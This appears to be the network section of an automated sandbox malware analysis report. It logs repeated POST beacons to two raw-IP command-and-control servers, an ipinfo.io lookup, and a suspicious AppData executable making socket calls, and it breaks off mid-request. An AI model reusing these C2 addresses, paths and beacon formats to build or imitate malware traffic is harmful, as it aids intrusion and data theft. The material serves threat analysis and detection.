Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49719 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.155
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.155
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.155
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.155
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.155
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.155
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.81

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Code function: 27_2_00D89280 recv,WSASend,

27_2_00D89280

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VrO4RO73dUtSVk1&MD=CngaslCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1113295622&timestamp=1718890712616 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: 